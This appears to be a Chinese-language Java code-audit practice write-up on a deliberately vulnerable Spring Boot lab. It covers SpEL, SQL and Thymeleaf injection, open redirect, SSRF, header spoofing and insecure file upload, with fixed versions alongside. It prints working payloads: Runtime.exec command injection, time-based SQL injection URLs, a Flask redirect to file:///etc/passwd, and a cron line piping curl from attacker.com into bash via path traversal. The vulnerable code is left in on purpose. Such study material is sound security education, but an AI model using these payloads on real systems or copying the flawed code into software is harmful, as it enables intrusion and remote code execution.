Java 代码审计练习
00x1 spel注入
SpEL简介
Spring表达式语言(简称 SpEL,全称Spring Expression Language)是一种功能强大的表达式语言,支持在运行时查询和操作对象图。它语法类似于OGNL,MVEL和JBoss EL,在方法调用和基本的字符串模板提供了极大地便利,也开发减轻了Java代码量。另外 , SpEL是Spring产品组合中表达评估的基础,但它并不直接与Spring绑定,可以独立使用。
参考:https://xz.aliyun.com/news/8744
具体效果



/*T(java.lang.Runtime) T(...) 是 SpEL 的特殊语法,用来访问 Java 的类。它返回 java.lang.Runtime 这个类的 Class 对象。
.getRuntime() 调用 Runtime 类的静态方法 getRuntime(),返回当前 Java 进程的 Runtime 实例。每个 Java 程序都有一个 Runtime 实例,可以用来与运行环境交互。
.exec('calc') 在 Runtime 实例上调用 exec 方法,执行操作系统的命令。'calc' 是 Windows 系统下打开计算器的命令。*/
//一个类的class对象,包含一个类的所有信息
exec=T(java.lang.Runtime).getRuntime().exec('calc')
package com.ffffffff0x.exploit;
import io.swagger.annotations.Api;
import lombok.extern.slf4j.Slf4j;
import org.springframework.expression.EvaluationContext;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.SpelParseException;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.net.MalformedURLException;
import java.net.URL;
@Api(tags = "SpEL注入")
@Slf4j
@RestController
public class SpEL {
// spel 注入
@GetMapping("/spel")
public String vul1(String exec) {
//创建解析器
//触发点
//SpelExpressionParser extends TemplateAwareExpressionParser
//TemplateAwareExpressionParser implements ExpressionParser
//public interface ExpressionParser {
//Expression parseExpression(String var1) throws ParseException;
//Expression parseExpression(String var1, ParserContext var2) throws ParseException;
//}是接口
//可以处理SpEL表达式,并执行它
//使用ExpressionParser的parseExpression来解析相应的表达式为Expression对象
ExpressionParser parser = new SpelExpressionParser();
//Spring默认类,允许表达式访问所有类
//权限过大
EvaluationContext evaluationContext = new StandardEvaluationContext();
//
String result = "";
try {
//把用户输入解析成Expression对象,把文本转化成指令结构
//.getValue(evaluationContext).toString();
//evaluationContext运行环境,Expression的实现接口getValue执行表达式
//运行表达式
result = parser.parseExpression(exec).getValue(evaluationContext).toString();
//输出
log.info(exec);
return result;
} catch (SpelParseException e) {
//报错
log.error(exec);
return "error";
}
}
}
00x2 mysql注入
package com.ffffffff0x.exploit;
import com.ffffffff0x.exploit.p.entity.UserPrimary;
import com.ffffffff0x.exploit.p.mapper.UserMapperPrimary;
import com.ffffffff0x.exploit.s.mapper.UserMapperSecondary;
import io.swagger.annotations.Api;
import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import java.util.List;
@Api(tags = "SQL注入")
@RestController
@Slf4j
@RequestMapping("/sqlinj")
public class SQLinj {
//静态
@Autowired
private UserMapperPrimary userMapperPrimary;
// 查询所有用户
@GetMapping("/mysql/alluser")
public List<UserPrimary> AllUser() {
//返回结果
return userMapperPrimary.AllUser();
}
// 查询指定用户
// http://127.0.0.1:8999/sqlinj/mysql/getbyid/1 or 1=1
// http://127.0.0.1:8999/sqlinj/mysql/getbyid/1 and (select if(mid(user(),1,4)='root',sleep(1),123))
//{id}动态路径
@GetMapping("/mysql/getbyid/{id}")
//id绑定
public List<UserPrimary> getById(@PathVariable String id) {
log.info("输入的查询payload: "+id);
//传入
return userMapperPrimary.findById(id);
}
// http://127.0.0.1:8999/sqlinj/mysql/getbyidp/id?id=1 or 1=1
// http://127.0.0.1:8999/sqlinj/mysql/getbyidp/id?id=1%20and%20(select%20/**/if(%27360%27=%27360%27,/**/sleep(5),123))
@GetMapping("/mysql/getbyidp/id")
//查找指定用户
public List<UserPrimary> getById2(String id) {
log.info("输入的查询payload: "+id);
return userMapperPrimary.findById(id);
}
// 创建用户
@PostMapping("/mysql/create")
public int create(@RequestBody UserPrimary userPrimary) {
//获取
return userMapperPrimary.insert(userPrimary.getName(), userPrimary.getAge());
}
}
package com.ffffffff0x.exploit.p.mapper;
import com.ffffffff0x.exploit.p.entity.UserPrimary;
import org.apache.ibatis.annotations.Insert;
import org.apache.ibatis.annotations.Mapper;
import org.apache.ibatis.annotations.Param;
import org.apache.ibatis.annotations.Select;
import java.util.List;
@Mapper
public interface UserMapperPrimary {
// 查询所有用户
@Select("select * from user_info")
List<UserPrimary> AllUser();
// 不安全的指定用户查询
// 直接代入文本替换
//#{id}安全写法
@Select("select * from user_info where id = ${id}")
//根据id寻找
//@Param("id"):MyBatis 注解,用于给参数指定一个名字(这里是 "id"),这样在对应的 SQL 语句中就可以通过 #{id} 或 ${id} 来引用该参数。如果方法有多个参数,或者希望明确参数名称,通常使用该注解。
//List一条信息
List<UserPrimary> findById(@Param("id") String id);
// 添加用户
@Insert("INSERT INTO user_info(NAME, AGE) VALUES(#{name}, #{age})")
//insert插入
//一个名字一个年龄
int insert(@Param("name") String name, @Param("age") Integer age);
}
package com.ffffffff0x.exploit.p.entity;
import lombok.Data;
import lombok.NoArgsConstructor;
@Data
@NoArgsConstructor
public class UserPrimary {
private Long id;
private String name;
private Integer age;
public UserPrimary(String name, Integer age) {
this.name = name;
this.age = age;
}
}
00x3 postgresql注入
@GetMapping("/postgre/alluser")
public List<UserPrimary> PostgreAllUser() {
return userMapperSecondary.AllUser();
}
// 查询指定用户
@GetMapping("/postgre/getbyid/{id}")
public List<UserPrimary> PostgregetById(@PathVariable String id) {
log.info("输入的查询payload: "+id);
return userMapperSecondary.findById(id);
}
// 创建用户
@PostMapping("/postgre/create")
public int Postgrecreate(@RequestBody UserPrimary userPrimary) {
return userMapperSecondary.insert(userPrimary.getName(), userPrimary.getAge());
}
}
00x4 url跳转无过滤


代码分析
public class Redirect {
//get
//接受1?后的url=赋值给url
@GetMapping("/1")
//传入
public String vul(String url) {
//控制台调试
log.info(url);
//跳转是由 Spring MVC 框架自动完成的。当控制器方法返回一个以 "redirect:" 开头的字符串时,Spring 会将该字符串解析为一个重定向视图,并生成一个 HTTP 302 响应,其中 Location 头部的值就是 redirect: 后面的部分(即用户传入的 url 参数)。浏览器接收到这个响应后,就会自动跳转到指定的 URL。
return"redirect:" + url;
}
00x5 url可以被绕过的白名单案例


@GetMapping("/2")
public String vul2(String url) {
//定义白名单
String domain = "ffffffff0x.com";
//截取domain,在整个url匹配是否存在字符串
//它返回 domain 在 url 中第一次出现的位置索引(从 0 开始),如果没找到则返回 -1。
int result = url.indexOf(domain);
if(result != -1){
log.info(url);
return"redirect:" + url;
}else{
log.error(url);
return"redirect:/error";
}
}
00x6 url反斜杠绕过


@GetMapping("/3")
public String vul3(String url) {
String host = "";
try {
//.getHost()提取真正的主机名
//字符串包含检查
//不涉及网络
//有符号检查,但是不全面,检查 /,?,#
//new URL(url)检查是不是合法url
host = new URL(url).getHost();
} catch (MalformedURLException e) {
//异常
e.printStackTrace();
}
//判断真正主机名结尾
if (host.endsWith(".ffffffff0x.com")){
log.info(host);
//跳转
return"redirect:https://" + host;
}else{
log.error(host);
return"redirect:/error";
}
}
// http://127.0.0.1:8999/redirect/3?url=http://www.baidu.com%5Cwww.ffffffff0x.com
在某些 Java 版本或特定环境中,URL 构造函数可能不会抛出 MalformedURLException,而是将反斜杠视为主机名的一部分,从而得到主机名字符串 www.baidu.com\www.ffffffff0x.com。这个字符串恰好以 .ffffffff0x.com 结尾(因为末尾部分是 www.ffffffff0x.com),因此通过检查,程序会执行 redirect:https:// + 该主机名,实现重定向。
安全
@GetMapping("/safe")
public String safe(String url) {
String host = "";
try {
//替换\#替换成/
//提取真正的主机名
url = url.replaceAll("[\\\\#]","/");
//二次过滤
host = new URL(url).getHost();
} catch (MalformedURLException e) {
e.printStackTrace();
}
if (host.endsWith(".ffffffff0x.com")){
log.info(host);
return"redirect:https://" + host;
}else{
log.error(host);
return"redirect:/error";
}
}
00x7 SSRF 无过滤


代码分析
@GetMapping("/1")
public String vul1(String url) {
log.info("访问路径:" + url);
//直接服务器发送请求
//接受并请求
return Http.URLConnection(url);
}
00x8 SSRF重定向绕过
代码分析
@GetMapping("/2")
public String vul2(String url) {
log.info("访问路径:" + url);
try{
//解析url,并创建URL对象
URL url2 = new URL(url);
//.getHost()提取真正的主机名
String host = url2.getHost();
//得到ip地址
//返回 主机名/ip地址
InetAddress ip = InetAddress.getByName(host);
//ip2存储
//主机名
String ip2 =ip.toString();
//匹配最后一个/提取ip
String ip3 = ip2.substring(ip2.lastIndexOf("/") + 1 );
log.info("ip解析结果:" + ip3);
//检查是不是http://,https://开头
if (!Security.isHttp(url)){
return "不允许非http/https协议!!!";
//ture,不允许访问内网
}else if (Security.isIntranet(url)) {
return "不允许访问内网!!!";
//ture,不允许访问内网
}else if (Security.isIntranet(ip3)) {
return "不允许访问内网!!!";
}else{
log.info("访问:" + url);
//状态码判断
return Http.URLConnection2(url);
}
}
catch (java.net.UnknownHostException e) {
return "error";
} catch (MalformedURLException e) {
return "error";
}
}
//静态方法
//判断
public static boolean isHttp(String url) {
//检查开头
//是不是http://,https://开头
return url.startsWith("http://") || url.startsWith("https://");
}
public static boolean isIntranet(String url) {
//- ^ :匹配字符串开头
//- $ :匹配字符串结尾
//- | :或,多选一
//- \\. :转义后的 . ,只匹配真实的点
//- \d :数字 0-9
//- {1,3} :重复 1~3 次
//127.0.0.1或localhost或10.开头的IP或172.16-19.20-29或127.30-31.?.?或192.168.?.?
Pattern reg = Pattern.compile("^(127\\.0\\.0\\.1)|(localhost)|(10\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})|(172\\.((1[6-9])|(2\\d)|(3[01]))\\.\\d{1,3}\\.\\d{1,3})|(192\\.168\\.\\d{1,3}\\.\\d{1,3})$");
//匹配,返回 Matcher
//只要符合返回ture
Matcher match = reg.matcher(url);
//返回布尔
Boolean a = match.find();
return a;
}
public static String URLConnection2(String url) {
try {
//解析url,并创建URL对象
//可以接受多种协议
URL u = new URL(url);
//申请连接对象
//返回原始url连接对象
URLConnection conn = u.openConnection();
HttpURLConnection connection = (HttpURLConnection) conn;
// 判断跳转
//开关
boolean redirect = false;
//获取状态码
int status = connection.getResponseCode();
//HTTP_OK=200
//不等于200,开启下面判断
if (status != HttpURLConnection.HTTP_OK) {
//302,301,303
if (status == HttpURLConnection.HTTP_MOVED_TEMP
|| status == HttpURLConnection.HTTP_MOVED_PERM
|| status == HttpURLConnection.HTTP_SEE_OTHER)
//开关,跳转
//直接改返回?
redirect = true;
}
//直接打印 file:///etc/passwd
log.info("Response Code:" + status);
//跳转
if (redirect) {
//响应头获取
String newUrl = connection.getHeaderField("Location");
log.info("Redirect to URL : " + newUrl);
//file:///etc/passwd
URL u1 = new URL(newUrl);
//新地址
conn = u1.openConnection();
}
//conn.getInputStream()获取输入流
//将字节流转成字符流
//缓冲字符流
//getInputStream()重定向,获取最终响应流
BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream()));
String content;
StringBuffer html = new StringBuffer();
//循环读取html
while ((content = reader.readLine()) != null) {
//拼接字符串返回
html.append(content);
}
//关闭
reader.close();
return html.toString();
} catch (Exception e) {
return e.getMessage();
}
}
}
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/')
def redirect_to_file():
# 返回302重定向,Location指向目标内网文件或内网地址
return redirect('file:///etc/passwd', code=302)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80) # 需要 root 权限或用高端口
安全
// 安全案例
@GetMapping("/safe")
public String safe(String url) {
log.info("访问路径:" + url);
if (!Security.isHttp(url)){
return "不允许非http/https协议!!!";
}else if (Security.isIntranet(url)) {
return "不允许访问内网!!!";
}else{
return Http.HTTPURLConnection(url);
}
}
}
// HTTPURLConnection类
// 是继承了URLConnection
public static String HTTPURLConnection(String url) {
try {
URL u = new URL(url);
//不允许重定向跟随
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
conn.setInstanceFollowRedirects(false); // 不允许重定向
//打开链接
conn.connect();
//发起请求获取响应数据流
BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream()));
String content;
StringBuilder html = new StringBuilder();
//读取一行文本
//读取响应
//html
while ((content = reader.readLine()) != null) {
html.append(content);
}
reader.close();
return html.toString();
} catch (Exception e) {
return e.getMessage();
}
}
00x9 SSTI return可控(预处理)
@Controller
@RequestMapping("/ssti")处理视图
该方法通常会返回一个视图名称(如 "index"),同时通过方法参数(如 Model、ModelMap 或 ModelAndView)将数据传递给视图。





<!doctype html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<body>
//预处理,字符替换
//先解析,再拼接
<h1 th:href="@{__${name}__}">name1参数</h1>
//普通文本输出
<h1 th:text="${name2}">name2参数</h1>
</body>
@GetMapping("/1")
//将参数存入model
//获取name与name2后的参
public String vul(@RequestParam(name="name") String name,@RequestParam(name="name2") String name2, Model model) {
//将参数存入ModeL
model.addAttribute("name", name);
model.addAttribute("name2", name2);
//返回文件
return "ssti";
}
不知道为什么编码也不行
00x10 SSTI 视图名称可控
@GetMapping("/2")
public String path(@RequestParam String name) {
//可控 name
//视图解析器会解析成模板路径
/thymeleaf处理时会执行
return "user/" + name + "/welcome";
<!DOCTYPE HTML>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<div th:fragment="header">
<h3>Hello zhang3</h3>
</div>
<div th:fragment="main">
//massage
<span th:text="'Hello1, ' + ${message}"></span>
</div>
</html>
poc
//::.x强制解析
//__${}__预处理,:: 是 Thymeleaf 的片段表达式语法,用于引用模板中的片段(如 template::fragment)。::x 可能表示引用当前模板中名为 x 的片段(或默认片段),这可以促使 Thymeleaf 将整个字符串作为模板表达式解析,从而触发预处理
//
__${T(java.lang.Runtime).getRuntime().exec('calc')}__::x
00x11 来源IP X-Real-IP/X-Forwarded-For


代码分析
@GetMapping("/xxf")
public static String xxf(HttpServletRequest request) {
//获取响应头X-Real-IP,X-Forwarded-For拼接
String ip1 = request.getHeader("X-Real-IP");
String ip2 = request.getHeader("X-Forwarded-For");
return "X-Real-IP: " + ip1 + " X-Forwarded-For: " + ip2;
}
00x12 来源IP getRemoteAddr
@GetMapping("/remote")
public static String remote(HttpServletRequest request) {
// 当使用 nginx 做反向代理时,通过 HttpServletRequest 的 getRemoteAddr() 得到的是最后一个代理所在机器的IP
//返回客户端或最后一个代理IP
return request.getRemoteAddr();
}
00x13
// 获取真实ip
//其实不全是
@GetMapping("/realIp")
public static String ip(HttpServletRequest request) {
//代理
String ip1 = request.getRemoteAddr();
//响应头
String ip2 = request.getHeader("X-Real-IP");
String ip3 = request.getHeader("X-Forwarded-For");
if (ip1 != null) {
return ip1;
} else if (ip2 != null) {
return ip2;
} else {
return ip3;
}
}
00x13 信息泄露
@Api(tags = "信息泄露")
@Controller
@Slf4j
public class InfoLeak {
/*
信息泄露
*/
@GetMapping("/infoleak/aksk")
public String akskPage() {
return "aksk";
}
}
<!DOCTYPE html>
<html>
一些 测试的假 aksk 数据
<p>
SecretId : AKIDf9NL2Rxx1LNxxqmSr0sxxoZ3XXXGNDxx
<br>
SecretKey : GI3XkgMlsiIabLxxvZw3sxxhQx6XXXxx
<br>
AccessKey ID : LTAI5XLxTxxxxdcTXXExxxxx
<br>
AccessKey Secret : RhXXXXjrCh3xxxLmFCRxx0HBZSxxxx
<br>
AWS Access Key ID: AKIAUXXXXXFYXNIXXXXX
<br>
AWS Secret Access Key: x/Wigo+RW4xExxx1LgXXXX6pHxOkssEuxpW1xxxx
</p>
</html>
00x14 无过滤上传点
@Api(tags = "文件上传")
@Controller
@Slf4j
public class Upload {
//从配置文件读取属性值
//文件路径
//file.upload.path=/tmp/
@Value("${file.upload.path}")
//把上面的赋值
private String path;
@GetMapping("/upload")
public String uploadPage() {
return "upload";
}
// 无过滤
@PostMapping("/upload")
@ResponseBody
public String vul1(@RequestPart MultipartFile file) throws IOException {
//获取文件名
String fileName = file.getOriginalFilename();
//存放路径
String filePath = path + fileName;
try {//目标文件
//封装信息
File dest = new File(filePath);
//Files.copy复制文件,获取输入流,dest.toPath(),path转换
Files.copy(file.getInputStream(), dest.toPath());
//绝对路径
return "文件上传成功 : " + dest.getAbsolutePath();
} catch (FileAlreadyExistsException e) {
return "文件已存在!";
}
}
return "";
}
}
00x15 黑名单过滤上传点
@PostMapping("/upload2")
@ResponseBody
public String vul2(@RequestPart MultipartFile file) throws IOException {
//黑名单
List<String> suffixlist = List.of(".jsp", ".jspx");
//getOriginalFilename(),穿越漏洞
//获取客户端上传的原始文件名
String fileName = file.getOriginalFilename();
String filePath = path + fileName;
//检查是否上传文件
if (!file.isEmpty()) {
//截取后缀
//只取最后一个.
String suffix = fileName.substring(fileName.lastIndexOf("."));
//后缀转换成小写
String suffixLower = suffix.toLowerCase();
log.info("后缀名: "+suffixLower);
//判断相等
if (suffixlist.contains(suffixLower)) {
return "非法请求,请上传文档文件";
} else {
try {
//创建文件
//直接使用拼接路径
File dest = new File(filePath);
Files.copy(file.getInputStream(), dest.toPath());
return "文件上传成功 : " + dest.getAbsolutePath();
} catch (FileAlreadyExistsException e) {
return "文件已存在!";
}
}
}
return "";
}
0016 白名单过滤上传点
在 Linux 系统中,/etc/cron.d/ 目录用于存放 cron 任务配置文件。cron 守护进程会定期扫描该目录下的所有文件(无论文件名是什么),只要文件内容符合 cron 任务格式,就会按计划执行其中的命令。
cron 不检查文件后缀,它只读取文件内容。因此,即使文件名为 test.xls,只要内容包含有效的 cron 任务(例如 * * * * * root curl http://attacker.com/shell | bash),该任务就会被执行。
// 白名单过滤
// 可以路径穿越,因为 /etc/cron.d/ 目录下的文件可以任意后缀命名,那么此时可以上传文件名为 “…/…/…/…/…/…/etc/cron.d/test.xls” 绕过对应的安全检查:
//
@PostMapping("/upload3")
@ResponseBody
public String vul3(@RequestPart MultipartFile file) throws IOException {
String fileName = file.getOriginalFilename();
String filePath = path + fileName;
//检查上传是不是空
if (!file.isEmpty()) {
//截取后缀.最后一个
//fileName.lastIndexOf(".")规则
//截取
String suffix = fileName.substring(fileName.lastIndexOf("."));
log.info("后缀名: "+suffix);
//白名单
if (!".xlsx".equals(suffix) && !".xls".equals(suffix)) {
return "非法请求,请上传excel文件";
} else {
try {
File dest = new File(filePath);
Files.copy(file.getInputStream(), dest.toPath());
return "文件上传成功 : " + dest.getAbsolutePath();
} catch (FileAlreadyExistsException e) {
return "文件已存在!";
}
}
}
return "";
}
0017 安全上传点
@PostMapping("upload/safe")
@ResponseBody
public String safe(@RequestPart MultipartFile file) throws IOException {
String fileName = file.getOriginalFilename();
if(!file.isEmpty()){
//截取
String suffix = fileName.substring(fileName.lastIndexOf("."));
log.info("后缀名: "+suffix);
//直接判断
if(!".xlsx".equals(suffix)&&!".xls".equals(suffix)){
return "非法请求,请上传excel文件";
}
else {
try {
//随机文件名
Random r = new Random();
int randomfilename = r.nextInt(100000000);
//路径拼接,无文件穿越
String filePath = path + randomfilename + suffix;
log.info("生成文件名: "+filePath);
File dest = new File(filePath);
Files.copy(file.getInputStream(), dest.toPath());
return "文件上传成功 : " + dest.getAbsolutePath();
} catch (FileAlreadyExistsException e) {
return "文件已存在!";
}
}
}
return "";
}
}
更多推荐




所有评论(0)